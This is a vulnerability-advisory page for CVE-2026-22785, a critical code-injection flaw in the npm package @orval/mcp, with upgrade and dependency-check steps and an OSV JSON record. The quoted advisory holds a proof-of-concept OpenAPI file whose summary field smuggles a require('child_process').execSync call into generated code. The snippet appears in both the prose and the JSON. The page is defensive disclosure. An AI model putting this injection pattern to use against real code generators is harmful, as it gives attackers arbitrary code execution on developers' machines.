Vulnerabilities in pkg:npm/@orval/mcp

PACKAGE
Advisory Identifier: GHSA-mwr6-3gp8-9jmj
Advisory Summary

CVE-2026-22785 is a CRITICAL orval mcp client is vulnerable vulnerability (CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')) affecting @orval/mcp libraries in the npm ecosystem. The issue involves orval mcp client is vulnerable to a code injection attack.. Remediation is available by upgrading affected packages to version 7.18.0.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@orval/mcp

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@orval/mcp. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-mwr6-3gp8-9jmj CVE-2026-22785 CRITICAL orval MCP client is vulnerable to a code injection attack.

CVE-2026-22785 at a Glance

CVE Identifier CVE-2026-22785
GHSA Identifier GHSA-mwr6-3gp8-9jmj
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Affected Product @orval/mcp
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-22785

To remediate this vulnerability, upgrade all affected @orval/mcp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@orval/mcp fixed: 7.18.0
npm install @orval/mcp@7.18.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @orval/mcp

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-22785, inspect your project dependencies using npm:

npm ls @orval/mcp

Analyze the terminal output to locate any version of @orval/mcp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.18.0), your application is affected.

Note: The npm ls @orval/mcp command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection'), where the product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. In @orval/mcp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact The MCP server generation logic relies on string manipulation that incorporates the summary field from the OpenAPI specification without proper validation or escaping. This allows an attacker to "break out" of the string literal and inject arbitrary code. Here is an example OpenAPI with the exploit ```yaml openapi: 3.0.4 info: title: Swagger Petstore - OpenAPI 3.0 description: |- This is a sample Pet Store Server based on the OpenAPI 3.0 specification. You can find out more about Swagger at [https://swagger.io](https://swagger.io). In the third iteration of the pet store, we've switched to the design first approach! You can now help us improve the API whether it's by making changes to the definition itself or to the code. That way, with time, we can improve the API in general, and expose some of the new features in OAS3. Some useful links: - [The Pet Store repository](https://github.com/swagger-api/swagger-petstore) - [The source API definition for the Pet Store](https://github.com/swagger-api/swagger-petstore/blob/master/src/main/resources/openapi.yaml) termsOfService: https://swagger.io/terms/ contact: email: apiteam@swagger.io license: name: Apache 2.0 url: https://www.apache.org/licenses/LICENSE-2.0.html version: 1.0.27-SNAPSHOT externalDocs: description: Find out more about Swagger url: https://swagger.io servers: - url: https://petstore3.swagger.io/api/v3 tags: - name: pet description: Everything about your Pets externalDocs: description: Find out more url: https://swagger.io - name: store description: Access to Petstore orders externalDocs: description: Find out more about our store url: https://swagger.io - name: user description: Operations about user paths: /pet/findByStatus: get: tags: - pet summary: Finds Pets by status.' + require('child_process').execSync("open -a Calculator").toString(),// description: Multiple status values can be provided with comma separated strings. operationId: findPetsByStatus parameters: - name: status in: query description: Status values that need to be considered for filter schema: type: string responses: '200': description: successful operation content: application/json: schema: type: string '400': description: Invalid status value default: description: Unexpected error security: - petstore_auth: - write:pets - read:pets ``` ### Patches This is fixed in version 7.18.0 or higher ### Workarounds Do check your generated OpenAPI yaml/json before running through Orval CLI and correct it if it has injection.

CVE-2026-22785 Affected @orval/mcp Versions

1 component(s)
Fixed Versions:
7.18.0
Product / Package Ecosystem Affected Versions Fixed Version
@orval/mcp
npm
< 7.18.0
7.18.0

References

Frequently Asked Questions

What is CVE-2026-22785?
CVE-2026-22785 is a security vulnerability in @orval/mcp involving orval MCP client is vulnerable to a code injection attack. under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection').
Which @orval/mcp versions are affected?
Affected versions include releases prior to 7.18.0 across affected packages: @orval/mcp.
What version fixes CVE-2026-22785?
Upgrading to 7.18.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @orval/mcp affected?
Yes, @orval/mcp is affected in releases prior to 7.18.0. Upgrade your dependency to 7.18.0 or later.
What CWE is associated with CVE-2026-22785?
CVE-2026-22785 is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.).
How can I check npm dependencies for CVE-2026-22785?
Run the dependency tree command: 'npm ls @orval/mcp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mwr6-3gp8-9jmj",
  "modified" : "2026-01-13T19:12:22Z",
  "published" : "2026-01-13T19:12:22Z",
  "aliases" : [ "CVE-2026-22785" ],
  "summary" : "orval MCP client is vulnerable to a code injection attack.",
  "details" : "### Impact\nThe MCP server generation logic relies on string manipulation that incorporates the summary field from the OpenAPI specification without proper validation or escaping. This allows an attacker to \"break out\" of the string literal and inject arbitrary code.\n\nHere is an example OpenAPI with the exploit\n\n```yaml\nopenapi: 3.0.4\ninfo:\n  title: Swagger Petstore - OpenAPI 3.0\n  description: |-\n    This is a sample Pet Store Server based on the OpenAPI 3.0 specification.  You can find out more about\n    Swagger at [https://swagger.io](https://swagger.io). In the third iteration of the pet store, we've switched to the design first approach!\n    You can now help us improve the API whether it's by making changes to the definition itself or to the code.\n    That way, with time, we can improve the API in general, and expose some of the new features in OAS3.\n\n    Some useful links:\n    - [The Pet Store repository](https://github.com/swagger-api/swagger-petstore)\n    - [The source API definition for the Pet Store](https://github.com/swagger-api/swagger-petstore/blob/master/src/main/resources/openapi.yaml)\n  termsOfService: https://swagger.io/terms/\n  contact:\n    email: apiteam@swagger.io\n  license:\n    name: Apache 2.0\n    url: https://www.apache.org/licenses/LICENSE-2.0.html\n  version: 1.0.27-SNAPSHOT\nexternalDocs:\n  description: Find out more about Swagger\n  url: https://swagger.io\nservers:\n  - url: https://petstore3.swagger.io/api/v3\ntags:\n  - name: pet\n    description: Everything about your Pets\n    externalDocs:\n      description: Find out more\n      url: https://swagger.io\n  - name: store\n    description: Access to Petstore orders\n    externalDocs:\n      description: Find out more about our store\n      url: https://swagger.io\n  - name: user\n    description: Operations about user\npaths:\n  /pet/findByStatus:\n    get:\n      tags:\n        - pet\n      summary: Finds Pets by status.' + require('child_process').execSync(\"open -a Calculator\").toString(),//\n      description: Multiple status values can be provided with comma separated strings.\n      operationId: findPetsByStatus\n      parameters:\n        - name: status\n          in: query\n          description: Status values that need to be considered for filter\n          schema:\n            type: string\n      responses:\n        '200':\n          description: successful operation\n          content:\n            application/json:\n              schema:\n                type: string\n        '400':\n          description: Invalid status value\n        default:\n          description: Unexpected error\n      security:\n        - petstore_auth:\n            - write:pets\n            - read:pets\n ```\n  \n\n### Patches\nThis is fixed in version 7.18.0 or higher\n\n### Workarounds\nDo check your generated OpenAPI yaml/json before running through Orval CLI and correct it if it has injection.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@orval/mcp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.18.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/orval-labs/orval/security/advisories/GHSA-mwr6-3gp8-9jmj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22785"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/orval-labs/orval/commit/80b5fe73b94f120a3a5561952d6d4b0f8d7e928d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/orval-labs/orval"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-77" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-13T19:12:22Z",
    "nvd_published_at" : "2026-01-12T19:16:04Z"
  }
}